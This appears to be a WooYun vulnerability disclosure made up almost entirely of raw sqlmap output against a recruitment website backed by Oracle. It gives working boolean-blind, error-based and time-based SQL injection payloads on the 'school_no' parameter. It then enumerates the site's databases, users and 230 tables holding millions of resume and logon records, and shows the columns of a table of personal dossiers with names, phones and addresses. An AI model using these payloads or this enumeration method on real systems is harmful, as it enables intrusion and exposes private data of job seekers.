WooYun.org

sqlmap identified the following injection points with a total of 0 HTTP(s) 
reque
sts:
---
Place: GET
Parameter: school_no
    Type: boolean-based blind
    Title: Oracle boolean-based blind - Parameter replace (original value)
    Payload: school_no=(SELECT (CASE WHEN (1571=1571) THEN 3641 ELSE 1/
(SELECT 0
 FROM DUAL) END) FROM DUAL)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: school_no=3641 AND 8372=(SELECT UPPER(XMLType(CHR(60)||CHR
(58)||CHR
(111)||CHR(108)||CHR(104)||CHR(58)||(SELECT (CASE WHEN (8372=8372) THEN 1 
ELSE 0
 END) FROM DUAL)||CHR(58)||CHR(103)||CHR(117)||CHR(101)||CHR(58)||CHR
(62))) FROM
 DUAL)
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: school_no=3641 AND 2595=DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||
CHR(110
)||CHR(122)||CHR(118),5)
---
[20:27:48] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
available databases [22]:
[*] APEX_030200
[*] APPQOSSYS
[*] CDPX
[*] CORE
[*] CSRC
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TEST
[*] WMSYS
[*] XDB
database management system users [35]:
[*] ANONYMOUS
[*] APEX_030200
[*] APEX_PUBLIC_USER
[*] APPQOSSYS
[*] CDPX
[*] CORE
[*] CSRC
[*] CTXSYS
[*] DBSNMP
[*] DIP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDDATA
[*] MDSYS
[*] MGMT_VIEW
[*] OLAPSYS
[*] ORACLE_OCM
[*] ORDDATA
[*] ORDPLUGINS
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] OWBSYS_AUDIT
[*] SCOTT
[*] SI_INFORMTN_SCHEMA
[*] SPATIAL_CSW_ADMIN_USR
[*] SPATIAL_WFS_ADMIN_USR
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TEST
[*] WLS
[*] WMSYS
[*] XDB
[*] XS$NULL
current user:    'CSRC'
current schema (equivalent to database on Oracle):    'CSRC'
 the SQL query used returns 10450058 entries
Database: CSRC
[230 tables]
+-----------------------+
 增量同步猎头简历$_TEMP                |
| 招聘会增量更新$_TEMP                |
| 猎头简历增量更新$_TEMP                |
| 简历增量更新$_TEMP                |
| 网络招聘增量更新$_TEMP                |
| 资讯信息增量更新$_TEMP      |
| AB01                  |
| AC01                  |
| AD_AUTO               |
| AD_STAT               |
| AD_TRACER             |
| ALIPAY                |
| APPLYLOG              |
| APPLY_FUNC_TMP        |
| APPLY_FUNC_TMP_2      |
| BST_DEPARTMENT        |
| BST_DEP_REL           |
| CB01                  |
| CB15                  |
| CC01                  |
| CC02                  |
| CC05                  |
| CC09                  |
| CC10                  |
| CC21                  |
| COMPANY               |
| COMPANY_BACKUP        |
| C_AD                  |
| C_ASSIGN              |
| C_ATTACHMENT          |
| C_ATTACHMENT_HISTORY  |
| C_CONTACT             |
| C_CUSTOM              |
| C_ENGLISH             |
| C_FAVORITE            |
| C_FAVORITE_TYPE       |
| C_FEE_HISTORY         |
| C_INTEGRAL            |
| C_LOGON_LOG           |
| C_OPERATE_LOG         |
| C_OP_LOG              |
| C_PICTURE             |
| C_REPLY               |
| C_RESUME_LOG          |
| C_TRACER              |
| DEPARTMENT            |
| DIC_DEGREE            |
| DIC_EMPNUM            |
| DIC_FIELD             |
| DIC_FUNC              |
| DIC_FUNC_CATEGORY     |
| DIC_FUND              |
| DIC_H_CLIENT          |
| DIC_H_COOPERATE       |
| DIC_H_INDUSTRY        |
| DIC_H_PACT_TMPL       |
| DIC_H_PROPERTY        |
| DIC_H_REGION          |
| DIC_INDUSTRY          |
| DIC_LANGUAGE          |
| DIC_LEVEL             |
| DIC_LICENSE_TYPE      |
| DIC_LOC_CS            |
| DIC_MEMBER_TYPE       |
| DIC_PROPERTY          |
| DIC_REGION            |
| DIC_REGION_CS         |
| DIC_SALARY            |
| DIC_SCHOOL_KIND       |
| DIC_SCHOOL_PROPERTY   |
| DIC_TALENT_TYPE       |
| DIC_TITLE             |
| DS_TMP_WLS_USER       |
| DS_WZ_C_PICTURE       |
| D_AAC005              |
| D_AAC009              |
| D_AAC011              |
| D_ACA111              |
| D_DCC008              |
| ELE_PHOTO             |
| FAIR_APPLY_LOG        |
| FAIR_APPLY_STALL      |
| FAIR_FEEDBACK         |
| FAIR_LOC              |
| FAIR_RECRUIT          |
| FEEDBACK              |
| FEEDBACK2             |
| GLOBAL_USER           |
| H_APPLYLOG            |
| H_APPRAISE            |
| H_ATTACHMENT          |
| H_ATTACHMENT_P        |
| H_CANDIDATE           |
| H_CANDIDATE_BK        |
| H_CHANGE              |
| H_COMMEND             |
| H_COMPANY             |
| H_COMPANY_BK          |
| H_C_EDUC              |
| H_C_EDUC_BK           |
| H_C_EXP               |
| H_C_EXP_BK            |
| H_C_TAG               |
| H_DEL_LOG             |
| H_DESCRIPT            |
| H_EMAIL               |
| H_FEEDBACK            |
| H_FEEDBACK2           |
| H_FEEDBACK_OL         |
| H_INV                 |
| H_LOG                 |
| H_MESSAGE             |
| H_PACT2               |
| H_PAYLOG              |
| H_PHOTO               |
| H_RECOMMEND           |
| H_RECRUIT             |
| H_RECRUITLOG          |
| H_R_EDUC              |
| H_R_EXP               |
| H_SERVICE             |
| H_TEXT                |
| INFO                  |
| INFO_BK               |
| INFO_GROUP            |
| INFO_REPLY            |
| INFO_SEND             |
| INFO_SEND_LOG         |
| INVEST                |
| JA0A                  |
| JOB168E               |
| JOB168E_REPLY         |
| JOB168E_TMP           |
| JOB168E_TMP2          |
| JOB168E_TMP3          |
| JOB_FAIR              |
| MAP2011_FUNC          |
| MDAEMON               |
| MEMBERFEE             |
| MEMBERFEE_BK          |
| MEMBER_GROUP          |
| NEWSPAPER_BOARD       |
| NEWSPAPER_DETAIL      |
| PERSON                |
| PERSON_BACKUP         |
| PHOTO                 |
| P_CERT                |
| P_CUSTOM              |
| P_EDUC                |
| P_ELE                 |
| P_ENGLISH             |
| P_ETCSVC              |
| P_EXP                 |
| P_EXT_FEE             |
| P_FAVORITE            |
| P_FEE_HISTORY         |
| P_LOGON_LOG           |
| P_OPERATE_LOG         |
| P_OTHER               |
| P_PROJ                |
| P_RECOM               |
| P_RECRUIT_LOG         |
| P_SCHOOL              |
| P_TEXT                |
| P_TRACER              |
| P_VOL                 |
| QA                    |
| QXM_CONNECTS          |
| QXM_PROCESS           |
| RC_TMP                |
| REAL_DEGREE           |
| REAL_MOBILE           |
| REAL_NAME             |
| RECRUIT               |
| RECRUITLOG            |
| RECRUIT_APPLY_RELATED |
| RECRUIT_BK            |
| RECRUIT_CATALOG       |
| RECRUIT_RECYCLED      |
| REMIND_GROUP          |
| REMIND_SEND           |
| REMIND_SEND_LOG       |
| RESUMEOUT_LOG         |
| SCHOOL                |
| SCHOOL_FIELD          |
| SCHOOL_INFO           |
| SCHOOL_MEMBER_FEE     |
| SCHOOL_PAYMENTLOG     |
| SCHOOL_PERSON         |
| SCHOOL_PHOTO          |
| SCHOOL_RECRUITLOG     |
| SCHOOL_REQ            |
| SCHOOL_STUDINFO       |
| SMS_MO                |
| SMS_NUMBER            |
| SMS_REQUIREMENT       |
| SMS_TRACER            |
| SUB_COMPANY           |
| S_CUSTOM              |
| S_FAVORITE            |
| S_RECRUITMENT         |
| S_SIGNUP              |
| TENPAY                |
| TMP1_PERSON           |
| TMP_CC05              |
| TMP_DUL_NAME          |
| TMP_WLS_USER          |
| USER_GROUP            |
| VALID_HIRE            |
| VALID_JOBHUNT         |
| WLS_CONFIG            |
| WLS_DANGAN            |
| WLS_DIAOCHA           |
| WLS_DIAOCHA_STEP      |
| WLS_GRADUATEINFO      |
| WLS_HUJIGUANLI        |
| WLS_LAIFANTONGJI      |
| WLS_LOGSYS            |
| WLS_MESSAGE           |
| WLS_MESSAGE_RE        |
| WLS_NEWS              |
| WLS_NEWSTYPE          |
| WLS_NEWSTYPE_BAK      |
| WLS_NEWS_BAK          |
| WLS_PICTURE           |
| WLS_RENSHIYEWU        |
| WLS_ROLE              |
| WLS_USER              |
| WZ_AD_AUTO            |
| WZ_C_PICTURE          |
+-----------------------+
Database: CSRC
+-----------------------+---------+
| Table                 | Entries |
+-----------------------+---------+
| P_RECRUIT_LOG         | 10450058 |
| AD_TRACER             | 6523122 |
| C_RESUME_LOG          | 3882789 |
| CC01                  | 3531502 |
| CC05                  | 2827002 |
| P_OPERATE_LOG         | 2809807 |
| CC09                  | 2733742 |
| AC01                  | 2381245 |
| APPLYLOG              | 2022730 |
| P_LOGON_LOG           | 1849050 |
| CC10                  | 1727270 |
| CC02                  | 1554993 |
| QXM_CONNECTS          | 1528937 |
| CC21                  | 1484431 |
| CB01                  | 687316  |
| WLS_LAIFANTONGJI      | 564631  |
| C_LOGON_LOG           | 537863  |
| C_TRACER              | 353621  |
| P_EXP                 | 304025  |
| GLOBAL_USER           | 283218  |
| PERSON                | 273484  |
| P_TEXT                | 235395  |
| C_OPERATE_LOG         | 229954  |
| P_EDUC                | 216274  |
| RECRUIT_APPLY_RELATED | 98289   |
| WLS_DANGAN            | 87794   |
| QXM_PROCESS           | 78536   |
| APPLY_FUNC_TMP        | 73921   |
| RECRUIT_RECYCLED      | 55248   |
| P_FAVORITE            | 45990   |
| CB15                  | 45423   |
| C_OP_LOG              | 44400   |
| RECRUIT               | 42968   |
| AB01                  | 36923   |
| RECRUIT_BK            | 30524   |
| C_FAVORITE            | 22998   |
| FAIR_APPLY_LOG        | 21824   |
| FAIR_RECRUIT          | 21478   |
| FAIR_APPLY_STALL      | 19185   |
| PHOTO                 | 17961   |
| H_C_EXP               | 17239   |
| AD_STAT               | 16634   |
| VALID_JOBHUNT         | 15857   |
| RECRUITLOG            | 12159   |
| COMPANY               | 9126    |
| COMPANY_BACKUP        | 8177    |
| H_CANDIDATE           | 8156    |
| MEMBERFEE_BK          | 8026    |
| H_CHANGE              | 7450    |
87794 entries
Database: CSRC
Table: WLS_DANGAN
[21 columns]
+-----------------+----------+
| Column          | Type     |
+-----------------+----------+
| BEIZHU          | VARCHAR2 |
| BIANHAO         | VARCHAR2 |
| CHUSHENGNIANYUE | VARCHAR2 |
| CREATETIME      | NUMBER   |
| DIANHUA         | VARCHAR2 |
| DIZHI           | VARCHAR2 |
| ID              | NUMBER   |
| JIEDANGREN      | VARCHAR2 |
| JIEDANGSHIJIAN  | VARCHAR2 |
| LAIDANDIANWEI   | VARCHAR2 |
| LAIDANSHIJIAN   | VARCHAR2 |
| MOD_USER_ID     | NUMBER   |
| MODTIME         | NUMBER   |
| QUXIANG         | VARCHAR2 |
| USER_ID         | NUMBER   |
| XINGBIE         | VARCHAR2 |
| XINGMING        | VARCHAR2 |
| XUELI           | VARCHAR2 |
| YUAN_ID         | NUMBER   |
| YUANKU          | VARCHAR2 |
| ZUZHIGUANXI     | VARCHAR2 |
+-----------------+----------+